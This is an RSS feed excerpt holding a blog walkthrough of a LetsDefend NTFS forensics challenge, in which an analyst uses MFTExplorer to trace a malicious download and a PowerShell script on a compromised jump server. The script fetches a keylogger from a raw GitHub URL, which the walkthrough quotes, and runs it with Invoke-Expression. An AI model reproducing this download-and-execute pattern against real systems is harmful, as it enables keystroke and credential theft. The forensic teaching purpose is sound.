href=&#34;https://forensafe.com/blogs/machine_sid.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://forensafe.com/blogs/machine_sid.html&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — NTFS Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 09 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — NTFS Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--ntfs-forensics-challenge-walkthrough&#34;&gt;LetsDefend — NTFS Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-endpoints-mft-using-mftexplorer&#34;&gt;Investigating a Compromised Endpoint&amp;rsquo;s $MFT Using MFTExplorer&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NTFS Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR) as we uncover the malware artifacts hidden in the Master File Table.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;As a digital forensics analyst with over a decade of experience, you are the go-to person in your organization for Windows disk forensics. Recently, an alert was triggered on a critical server used by administrators as a jump server. This server is frequently accessed for credential management and other sensitive operations, making it a high-value target. It has now been compromised. You are provided with only the Master File Table (MFT) of the endpoint. Your task is to uncover the actions taken by the threat actors on the endpoint.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re stepping into the shoes of a seasoned digital forensics analyst as a high-value server has been compromised. Our goal is to analyze the provided artifacts, uncovering critical details about the attack including the initial access method, how the malware got there, what it did after execution, and understand the indicators of compromise.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s just one small problem: we are only provided the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Master File Table (MFT)&lt;/strong&gt;&lt;/a&gt; database of the Windows-based endpoint, so we&amp;rsquo;ll need familiarize ourselves with a utility like Eric Zimmerman&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTExplorer&lt;/strong&gt;&lt;/a&gt; to parse the MFT database and analyze the metadata within. Throughout our investigation, we&amp;rsquo;ll enrich our findings with external documentation from &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to have a comprehensive view of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s work through this investigation together. If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identify-the-malicious-downloaded-file-what-is-the-filename&#34;&gt;Question 1: Identify the malicious downloaded file. What is the file name?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive right into this challenge! We&amp;rsquo;ll kick it off by extracting the challenge file from the archive in the &lt;strong&gt;ChallengeFile&lt;/strong&gt; folder, leaving us with a curious file, &lt;code&gt;$MFT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;542px&#34; data-flex-grow=&#34;225&#34; height=&#34;354&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/c9b15a68eccf5c52a94fb5524ba59baa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren&amp;rsquo;t familiar with the &lt;strong&gt;MFT&lt;/strong&gt;, let&amp;rsquo;s build a foundational understanding about this rich source of forensic data according to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The NTFS file system contains a file called the &lt;em&gt;master file table&lt;/em&gt;, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;For our forensic purposes, this means that if we can explore the contents of the MFT, present in the NTFS file system (like the one used in Windows), then we can view metadata for every file on the system.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put this into practice. One option to analyze the MFT is using &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Eric Zimmerman&amp;rsquo;s &lt;strong&gt;MFTExplorer&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; a **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**_Graphical $MFT viewer&amp;quot;to parse the provided MFT file and explore it with a graphical interface. Fortunately for us analysts, MFTExplorer is already installed in the LetsDefend analysis environment and can be found in the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tools&amp;quot;&#xA;folder using the path below. Go ahead and launch it.&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\MFTExplorer\MFTExplorer.exe&lt;/p&gt;&#xA;&lt;p&gt;Once the tool is open:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;File&amp;quot;&#xA;and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Load MFT.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Navigate to the &lt;code&gt;$MFT&lt;/code&gt; challenge file and select it.&lt;/li&gt;&#xA;&lt;li&gt;Wait for the file to parse. This will take a few minutes, so sit back and relax while it does the magic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After the file is parsed, you&amp;rsquo;ll be presented with a familiar view that looks just like the Windows File Explorer. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for a downloaded file, so let&amp;rsquo;s navigate to the user&amp;rsquo;s downloads directory at &lt;code&gt;.\Users\LetsDefend\Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/6924958053cc1c9ad13160e4ecd72504_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With a quick analysis, we&amp;rsquo;ll identify the file &lt;code&gt;scanner98.zip&lt;/code&gt; as the malicious file, since .ZIP files are commonly used to deliver malware, whereas the other suspicious file &lt;code&gt;x.ps1&lt;/code&gt; (a PowerShell script) is less likely to be the initial delivery method, instead it&amp;rsquo;s likely it played a role later in the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/0b3dbd48e886cd31e1c094a1d831c22d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-source-url-of-the-downloaded-file&#34;&gt;Question 2: What is the source URL of the downloaded file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified &lt;code&gt;scanner98.zip&lt;/code&gt; as the malicious download, let&amp;rsquo;s select it and scroll through the data interpreter pane. Here, we&amp;rsquo;ll stumble upon the &lt;code&gt;referrerURL&lt;/code&gt;, which shows the URL where the file originated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/5c2ec4acb30aeb753c2de2695ae0d599_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;referrerURL&lt;/code&gt; is part of the &lt;strong&gt;Mark of the Web (MoTW),&lt;/strong&gt; a feature used in Windows to identify files downloaded from the internet. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Mark_of_the_Web&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wikipedia&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; MoTW is implemented using the alternate data stream (ADS) feature of NTFS, which is why we are able to view this metadata in the &lt;strong&gt;MFT.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/69f405ebc0591cf264b5af110254cced_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-was-the-time-of-download-of-the-malicious-file&#34;&gt;Question 3: What was the time of download of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;The next stop in our investigation is to determine the download time of &lt;code&gt;scanner98.zip&lt;/code&gt;. We can accomplish this goal by looking at the time stamp for the &lt;code&gt;SI_Created On&lt;/code&gt; column within &lt;strong&gt;MFTExplorer.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/55f7b40fa6ea96e398406645ccba2bfb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For added context, this is the &lt;code&gt;$Standard_Information&lt;/code&gt; attribute which indicates the file&amp;rsquo;s download time represented as the time it&amp;rsquo;s created on disk. For more information on this topic, check out the excellent research from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, where this concept is explained in much more detail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  title=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact - Magnet Forensics&lt;/strong&gt;&#xA;_The goal of timestomping is to edit timestamps being displayed and reported in an attempt to make it seem as though the&amp;hellip;_www.magnetforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/12b13677336060a095048f3b0dd61a58_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-a-powershell-script-was-created-on-disk-by-the-malicious-file-what-is-the-full-path-of-this-script-on-thesystem&#34;&gt;Question 4: A powershell script was created on disk by the malicious file. What is the full path of this script on the system?&#xA;&lt;/h3&gt;&lt;p&gt;Now it&amp;rsquo;s time to pivot and inspect the second suspicious file in the directory, &lt;code&gt;x.ps1&lt;/code&gt;, that we previously identified as a PowerShell script. We&amp;rsquo;ve already found the directory in the &lt;code&gt;Parent Path&lt;/code&gt;, and we only need to infer that the question is looking for a drive letter too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/723422bbbbbb32dcca6e56f48f2e567d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/71f9eff909a8bac3a07a45bd5efe1512_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-file-size-of-the-script-inbytes&#34;&gt;Question 5: What is the file size of the script in bytes?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to determine the file size of &lt;code&gt;x.ps1&lt;/code&gt;. To do this, let&amp;rsquo;s select it and navigate to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Overview&amp;quot;&#xA;section in the bottom right of &lt;strong&gt;MFTExplorer.&lt;/strong&gt; Here, we can review the metadata and attributes to locate the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;DATA&amp;quot;&#xA;** attribute toward the bottom of the window, focusing on the &lt;code&gt;Content size&lt;/code&gt; flag.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/5e1c8009073121005eb9c34f027f2ddc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since the view is a little cramped on the &lt;strong&gt;LetsDefend&lt;/strong&gt; environment, we can copy the contents of the Overview pane and paste it into a tool like &lt;strong&gt;Notepad++&lt;/strong&gt; to make it easier to read.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/4d0f32b17cde5f912748fcfdce5aa915_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified the &lt;code&gt;Content size&lt;/code&gt; attribute, we&amp;rsquo;ll need to convert the &lt;strong&gt;Hexadecimal&lt;/strong&gt; value to &lt;strong&gt;Decimal&lt;/strong&gt; to match the answer format. For this operation, we can use a tool like &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RapidTables&lt;/strong&gt;&lt;/a&gt; for, well, rapid conversion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/4a64f8a5a5bc0f78299381b0ea775464_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hex to Decimal Conversion: &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b7a950f2c45c570250b8c47b00618533_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-recover-the-file-contents-of-this-script-what-is-the-url-it-reaches-outto&#34;&gt;Question 6: Recover the file contents of this script. What is the URL it reaches out to?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis of &lt;code&gt;x.ps1&lt;/code&gt;, we need to identify any external connections made by the script. Let&amp;rsquo;s scroll through the data interpreter pane until we stumble across the URL below. You may have also noticed this when we copied the contents into &lt;strong&gt;Notepad++&lt;/strong&gt; in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b5d90918de4e646f88bef3d50192db2a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With either method, we will see that the script contacts a &lt;strong&gt;GitHub&lt;/strong&gt; URL, which might indicate that it&amp;rsquo;s downloading additional payloads.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/2e8bc6c240f8bd925c6944a6a9f6e953_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-based-on-the-content-you-recovered-what-mitre-technique-is-observed-answer-the-subtechnique-id&#34;&gt;Question 7: Based on the content you recovered, what MITRE Technique is observed? Answer the subtechnique id.&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the &lt;strong&gt;GitHub&lt;/strong&gt; URL contacted by &lt;code&gt;x.ps1&lt;/code&gt;, let&amp;rsquo;s try to understand what the tool does and map it to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; framework. While we can make some assumptions about the intentions of this script based on the filename, &lt;code&gt;Keylogger.ps1&lt;/code&gt;, let&amp;rsquo;s double-check this by reviewing the raw content of this script on &lt;strong&gt;GitHub&lt;/strong&gt; using the URL we identified in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/a733aea2f9aadf22286828a1f810c7c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Conveniently, the description confirms that this is indeed a keylogging utility. Now, let&amp;rsquo;s jump over to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; search for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;keylogging&amp;quot;&#xA;, and note the Technique ID (&lt;strong&gt;T1056.001)&lt;/strong&gt; to answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Input Capture: Keylogging&lt;/strong&gt;&#xA;_Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/e2083500fae6a748e07cd379ebf14bef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-powershell-cmdlet-was-used-to-execute-the-code-in-thescript&#34;&gt;Question 8: Which powershell cmdlet was used to execute the code in the script?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question, which requires us to examine the &lt;strong&gt;PowerShell&lt;/strong&gt; command used to contact the &lt;strong&gt;GitHub&lt;/strong&gt; URL identified in &lt;strong&gt;Question 6&lt;/strong&gt;. Looking back into &lt;strong&gt;MFTExplorer&lt;/strong&gt;, we can identify that the &lt;code&gt;[Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5)&lt;/code&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;(IEX)&lt;/a&gt; cmdlet is used to run the command. The &lt;code&gt;[Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5)&lt;/code&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;(IEX)&lt;/a&gt; cmdlet is commonly used to execute a string as a command, which in this case, runs the &lt;strong&gt;PowerShell&lt;/strong&gt; script from the &lt;strong&gt;GitHub&lt;/strong&gt; URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/01666a3b820093cc7535c946b9e4349b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/bb82f6c9acaa8fc642a5fbee6d3a6cd8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 